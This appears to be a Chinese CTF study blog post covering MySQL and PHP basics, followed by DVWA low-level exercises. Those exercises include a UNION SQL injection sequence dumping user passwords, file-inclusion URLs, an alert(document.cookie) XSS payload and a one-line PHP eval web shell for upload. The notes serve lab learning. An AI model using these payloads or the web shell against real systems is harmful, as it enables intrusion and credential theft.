CTFweb学习笔记01

MySQL增删改查

增数据库

create database database_name character set gbk;

增表

create table table_name (column_name column_type);

增数据

insert into table_name(column1,column2...) values(value1,value2...);
insert into table_name set column1=value1,column2=value2...;

删数据库

drop database database_name;

删表

drop table table_name;

删数据

delete from table_name where columnx=valuex

改表

alter table table_name1 rename table_name2;

改数据

update table_name set column1=value1,column2=value2 where id=x;

select column1,column2... from table_name where id=x;

可使用星号(*)来代替字段,SELECT语句会返回表的所有字段数据;可以使用 WHERE 语句来包含任何条件。

PHP

MySQLi

连接

在小皮面板设置好数据库名,用户名和密码

在这里插入图片描述
在phpstudy的WWW的某目录下新建php文件

<?php
$servername = "localhost";
$username = "handy";
$password = "123456";
// 创建连接(面向过程)
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
// 创建连接(面向对象)
//$conn = new mysqli($servername, $username, $password); 
// 检测连接
//if ($conn->connect_error) {
//    die("连接失败: " . $conn->connect_error);
//}
echo "连接成功";
?>

访问对应目录的url

在这里插入图片描述

创建数据库

在上面代码基础上添加如下代码:

// 创建数据库(面向过程)
$sql = "CREATE DATABASE myDB";
if (mysqli_query($conn, $sql)) {
    echo "数据库创建成功";
} else {
    echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
// 创建数据库(面向对象)
//if ($conn->query($sql) === TRUE) {
//    echo "数据库创建成功";
//} else {
//    echo "Error creating database: " . $conn->error;
//}
//$conn->close();

访问网页发现报错
在这里插入图片描述登录phpMyAdmin发现handy用户无权限所以无法新建数据库

在这里插入图片描述
进入mysql的目录用cmd以root用户登录

mysql -u root -p

给handy用户添加访问和操作权限

grant all privileges on *.* to handy@localhost identified by "123456";
grant all privileges on *.* to handy@localhost identified by "123456" WITH GRANT OPTION;

再访问发现
在这里插入图片描述
登录phpMyAdmin发现myDB数据库的确新建成功

在这里插入图片描述

创建数据表

改动如下:

$dbname = "myDB";
$conn = mysqli_connect($servername, $username, $password, $dbname);
$sql = "CREATE TABLE MyGuests (
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, 
firstname VARCHAR(30) NOT NULL,
lastname VARCHAR(30) NOT NULL,
email VARCHAR(50),
reg_date TIMESTAMP
)";

在这里插入图片描述
在这里插入图片描述

插入数据

$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com')";

在这里插入图片描述在这里插入图片描述
插入多条数据时每个$sql的最后一个双引号前面都要加分号,mysqli_query改为mysqli_multi_query

读取数据

//面向过程
$sql = "SELECT id, firstname, lastname FROM MyGuests";
$result = mysqli_query($conn, $sql);
 
if (mysqli_num_rows($result) > 0) {
    // 输出数据
    while($row = mysqli_fetch_assoc($result)) {
        echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>";
    }
} else {
    echo "0 结果";
}
//面向对象
// $sql = "SELECT id, firstname, lastname FROM MyGuests";
// $result = $conn->query($sql);
 
// if ($result->num_rows > 0) {
//     // 输出数据
//     while($row = $result->fetch_assoc()) {
//         echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>";
//     }
// } else {
//     echo "0 结果";
// }

在这里插入图片描述

文件上传

<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
&& in_array($extension, $allowedExts))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "错误:: " . $_FILES["file"]["error"] . "<br>";
	}
	else
	{
		echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
		echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
		echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
		echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
		
		// 判断当期目录下的 upload 目录是否存在该文件
		// 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
		if (file_exists("upload/" . $_FILES["file"]["name"]))
		{
			echo $_FILES["file"]["name"] . " 文件已经存在。 ";
		}
		else
		{
			// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
			move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
			echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
		}
	}
}
else
{
	echo "非法的文件格式";
}
?>

explode()

使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

end()

将内部指针指向数组中的最后一个元素,并输出。

in_array()

搜索数组中是否存在指定的值。

file_exists()

检查文件或目录是否存在。

move_uploaded_file()

将上传的文件移动到新位置。

DVWA(low)

SQL注入

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 

字符型

1' order by 1# 
#爆列数
1' order by 2#
1' order by 3# 
#有报错说明只有两列
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
#爆表名:guestbook,users
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
#爆列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
1' union select user,password from users#
#查询数据

文件包含

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

服务器端对page参数没有做任何的过滤跟检查。
服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行。如果文件内容确为php,则会正常执行并返回结果。如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取任意命令执行

本地

?page=xxx.txt

远程

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行

?page=https://xxx/xxx.php

XSS

Reflected

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

Stored

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>
<script>alert(document.cookie)</script>

文件上传

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 
<?php   @eval($_POST['handy']);  ?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值